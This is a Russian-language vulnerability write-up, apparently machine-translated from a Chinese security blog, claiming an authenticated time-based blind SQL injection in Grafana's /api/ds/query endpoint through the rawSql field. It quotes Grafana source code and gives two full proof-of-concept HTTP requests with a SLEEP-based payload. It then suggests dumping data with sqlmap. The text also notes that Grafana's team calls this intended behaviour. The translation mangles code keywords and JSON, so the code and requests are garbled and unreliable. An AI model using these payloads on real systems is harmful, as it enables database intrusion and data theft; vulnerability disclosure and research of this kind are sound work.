Описание уязвимости
Платформа с открытым исходным кодом для мониторинга и наблюдаемости Чтобы воспользоваться этой уязвимостью sql-инъекции, необходимо войти в веб-бэкенд grafana с действительной учетной записью и отправить вредоносный POST-запрос к записи /api/ds/query "rawSql".
Если злоумышленник войдет в веб-бэкенд grafana, он может использовать post-запрос к /api/ds/query api, где он сможет изменить файл "rawSql" для выполнения вредоносной sql-строки, что приведет к слепой sql-инъекции, основанной на времени, в результате чего произойдет утечка данных из базы. данные из базы данных.
уровень риска
высокий
Затронутые версии
grafana последней и всех старых версий
Анализ уязвимостей
Затронутые блоки кода и функции
- Пакет grafana grafana-sql в файле grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts
// ПРИМЕЧАНИЕ: Это всегда выполняется с временным диапазоном `@grafana/data/getDefaultTimeRange`.
async runSql(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}
private runMetaQuery(request: Partial, range: TimeRange): Promise {
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
метод: 'POST',
headers: this.getRequestHeaders(),
данные: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
запросы,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}
- Плагин grafana datasource в файле grafana/public/app/plugins/datasource/influxdb/datasource.ts
async metricFindQuery(query: string, options?: any): Promise {
если (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
запрос,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
return lastValueFrom(
super.query({
...(options ?? {}), // включает 'range'
цели: [цель],
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace(
запрос,
варианты?
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);
return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}
……
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
метод: 'POST',
headers: this.getRequestHeaders(),
данные: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
запросы: [цель],
},
requestId: annotation.name,
})
.pipe(
карта(
async (res: FetchResponse) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
Grafana не проверяет запросы, отправленные агенту DataSource
Рецидив уязвимости:
Злоумышленник может использовать описанные выше шаги для выполнения sql-инъекции, при которой grafana отправляет запросы с sql-операторами, приводящие к ошибкам.
grafana v8.0.4 poc:
POST /api/ds/query HTTP/1.1
Хост: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Принять: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Принятие кодирования: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
тип содержимого: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Соединение: закрыто
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{"queries":[{"refId": "A", "format". "time_series", "datasourceId":2, "rawSql":"( SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "maxDataPoints":10000}]}
Войдите в бэкенд и нажмите "Explore", затем с помощью burp перехватите пакет POST /api/ds/query, измените запись "rawSql" на вредоносную sql-строку, и тогда мы получим основанную на времени sql-инъекцию и получаем основанную на времени sql-инъекцию.
POST /api/ds/query HTTP/1.1
Хост: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Принять: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Принятие кодирования: gzip, deflate
Referer: http://172.28.171.25:3000/explore
тип содержимого: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Соединение: закрыто
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{"from": "1713492692433″, "to": "1713514292433″, "} queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)" "format": "table", "refId": "datasets uid": "edj6pz14v89a8c"}}]}
Теперь вы можете перетаскивать данные с помощью sqlmap
Устранение уязвимостей
Grafana не проверяет запросы, отправленные агенту DataSource; фильтрация должна осуществляться на стороне источника данных.
Официальная команда безопасности grafana не считает это уязвимостью, это особенность бэкэнда, и это должно вызывать у меня большую паузу .......
Но я так не думаю, поэтому и опубликовал эту статью :)
справочный ресурс
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
Оригинальная статья xbear, при воспроизведении просьба указывать: https://cncso.com/ru/grafana-sql-injection-high-risk-vuln-html